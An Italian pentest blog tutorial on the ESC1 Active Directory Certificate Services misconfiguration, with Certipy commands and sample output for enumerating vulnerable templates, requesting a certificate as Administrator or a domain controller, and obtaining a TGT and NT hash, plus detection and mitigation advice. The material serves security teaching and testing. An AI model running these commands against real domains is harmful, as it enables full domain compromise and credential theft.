ESC1 ADCS Privilege Escalation: Exploit Active Directory con Certipy

ESC1 ADCS Privilege Escalation: come sfruttare certificate template vulnerabili in Active Directory con Certipy. Guida pratica step-by-step per ottenere Domain Admin.
- Pubblicato il 2026-03-06
- Tempo di lettura: 3 min
ESC1 è la misconfigurazione più classica e pericolosa di AD CS. Permette a un utente con pochi privilegi di ottenere un certificato impersonando qualsiasi account del dominio, inclusi Domain Admin.
Il problema nasce quando un certificate template consente all’utente di specificare manualmente l’identità nel certificato.
Se il template permette di inserire un UPN arbitrario nel SAN, l’attaccante può richiedere un certificato per:
administrator@corp.locale autenticarsi come Administrator.
Quando esiste una vulnerabilità ESC1 #
ESC1 esiste quando un template ha queste quattro condizioni contemporaneamente.
1 — Enrollee Supplies Subject #
Il template usa:
Supply in the requestche corrisponde al flag:
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECTQuesto permette al richiedente di definire:
- Subject
- SAN
- UPN
- DNS
2 — EKU di autenticazione #
Il certificato può essere usato per login.
EKU tipici:
Client Authentication
Smart Card Logon
PKINIT Client Authentication
Any PurposeOID esempio:
1.3.6.1.5.5.7.3.23 — Enrollment aperto #
Il template permette l’enrollment a gruppi ampi come:
Domain Users
Authenticated Users4 — Nessun controllo di sicurezza #
Il template non richiede:
Manager approval
Authorized signaturesIl certificato quindi viene emesso automaticamente.
Identificazione con Certipy #
Enumerare i template:
certipy find -u attacker@corp.local -p 'Passw0rd!'Output tipico:
Template Name : VulnTemplate
Client Authentication : True
Enrollee Supplies Subject : True
Enrollment Rights : Domain Users
[!] Vulnerabilities
ESC1 : Enrollee supplies subject and template allows client authenticationIndicatori chiave:
Enrollee Supplies Subject : True
Client Authentication : True
Enrollment Rights : Domain Users
Requires Manager Approval : False
Authorized Signatures Required : 0Exploitation ESC1 #
L’exploit è molto semplice.
1️⃣ richiedere certificato impersonando un admin 2️⃣ autenticarsi con quel certificato
Step 1 — trovare SID della vittima #
certipy account \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-user administrator readOutput:
objectSid : S-1-5-21-...-500Step 2 — richiedere certificato Administrator #
certipy req \
-u attacker@corp.local -p 'Passw0rd!' \
-dc-ip 10.0.0.100 \
-target CA.CORP.LOCAL \
-ca CORP-CA \
-template VulnTemplate \
-upn administrator@corp.local \
-sid S-1-5-21-...-500Output:
Successfully requested certificate
Saving certificate to administrator.pfxIl certificato contiene:
SAN UPN = administrator@corp.local
SID = S-1-5-21-...-500Step 3 — autenticarsi come Administrator #
certipy auth \
-pfx administrator.pfx \
-dc-ip 10.0.0.100Output:
Got TGT
Saving credential cache
Got NT hash for administratorL’attaccante ottiene:
- Kerberos TGT
- NTLM hash
- accesso Domain Admin
Impersonare un Domain Controller #
Per impersonare un computer account:
certipy req \
-template VulnTemplate \
-dns dc01.corp.local \
-sid S-1-5-21-...-1001Parametro importante:
-dnsperché i computer usano SAN DNS.
Impatto ESC1 #
ESC1 porta direttamente a:
- Domain Admin
- Kerberos TGT
- NTLM hash
- compromissione completa del dominio
È uno degli attacchi AD CS più comuni nei pentest.
Detection ESC1 #
Indicatori principali:
Enrollee Supplies Subject
Client Authentication EKU
Enrollment Rights = Domain Users
No Manager ApprovalAudit:
certipy findoppure audit manuale dei template.
Mitigation ESC1 #
Disabilitare Supply in Request #
Configurare il template su:
Build from this Active Directory informationLimitare Enrollment #
Non usare:
Domain Users
Authenticated UsersAbilitare Manager Approval #
Template → Issuance Requirements:
CA certificate manager approvalRichiedere Authorized Signatures #
CSR firmato da Enrollment Agent.
Disabilitare template inutilizzati #
Molte vulnerabilità derivano da template legacy.
FAQ — ESC1 ADCS #
Cos’è ESC1? #
Una misconfigurazione che permette di specificare manualmente l’identità nel certificato.
Qual è il problema principale? #
Un utente può inserire nel SAN:
administrator@domainESC1 porta direttamente a Domain Admin? #
Sì, se il certificato contiene UPN o SID di un admin.
È comune nei pentest? #
Molto. È uno dei primi controlli fatti su AD CS.
Key Takeaway: se un template permette “Supply in request” e ha Client Authentication EKU, chiunque possa fare enrollment può ottenere un certificato per qualsiasi utente del dominio.
ESC1 è il punto di partenza per comprendere tutti gli attacchi AD CS. Guida completa alle escalation AD CS: https://hackita.it/articoli/adcs-esc1-esc16
Continua con: https://hackita.it/articoli/esc2-adcs · https://hackita.it/articoli/esc3-adcs
Supporta HackIta: https://hackita.it/supporto Pentest Active Directory o formazione offensiva: https://hackita.it/servizi Riferimenti tecnici: https://github.com/ly4k/Certipy https://specterops.io/blog/2021/06/17/certified-pre-owned/







